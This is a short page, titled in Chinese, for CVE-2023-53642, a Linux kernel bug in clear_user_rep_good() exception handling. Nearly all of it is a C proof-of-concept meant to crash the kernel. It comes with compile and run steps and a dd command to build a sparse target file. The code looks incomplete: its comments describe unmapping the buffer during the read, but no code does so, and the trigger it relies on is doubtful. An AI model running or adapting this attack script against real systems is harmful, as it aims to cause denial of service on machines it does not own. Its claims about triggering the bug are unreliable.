CVE-2023-53642 Linux内核x86异常处理标注错误导致内核崩溃

/* CVE-2023-53642 PoC - Trigger kernel oops via incorrect exception annotation in clear_user_rep_good() * This PoC triggers the vulnerability by performing a readv/preadv operation * on a file with a direct I/O path that eventually calls clear_user on * a user-space buffer that causes a page fault. * * Compile: gcc -o poc poc.c * Run: ./poc <target_file> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/uio.h> #include <sys/stat.h> #include <sys/mman.h> #include <signal.h> #define BUFFER_SIZE 4096 static void segfault_handler(int sig) { fprintf(stderr, "Signal %d received\n", sig); _exit(1); } int main(int argc, char *argv[]) { int fd; struct iovec iov; char *buf; off_t offset = 0; if (argc < 2) { fprintf(stderr, "Usage: %s <file>\n", argv[0]); return 1; } /* Map a buffer that will be munmap'd or made invalid during the read */ buf = mmap(NULL, BUFFER_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (buf == MAP_FAILED) { perror("mmap"); return 1; } /* Open file with O_DIRECT to trigger the iomap direct I/O path */ fd = open(argv[1], O_RDONLY | O_DIRECT); if (fd < 0) { /* Fallback to normal open if O_DIRECT is not supported */ fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); munmap(buf, BUFFER_SIZE); return 1; } } iov.iov_base = buf; iov.iov_len = BUFFER_SIZE; /* In a separate thread or via signal, unmap the buffer * while preadv is in progress to trigger a page fault * during clear_user_rep_good() */ /* Simple approach: use a file that will cause the read to * span a hole in the filesystem, triggering the zero-iter path */ /* Use preadv2 with RWF_HIPRI to trigger direct I/O path */ ssize_t ret = preadv2(fd, &iov, 1, offset, RWF_HIPRI); if (ret < 0) { perror("preadv2"); } else { printf("Read %zd bytes\n", ret); } close(fd); munmap(buf, BUFFER_SIZE); return 0; } /* * Alternative trigger: Use a sparse file with holes to trigger * the iomap_dio_hole_iter -> iov_iter_zero -> clear_user path * * Create sparse file: * dd if=/dev/zero of=sparse_file bs=1 count=0 seek=1000000 * * Then run the PoC against it with O_DIRECT to trigger the * zeroing of user buffer via clear_user_rep_good(). */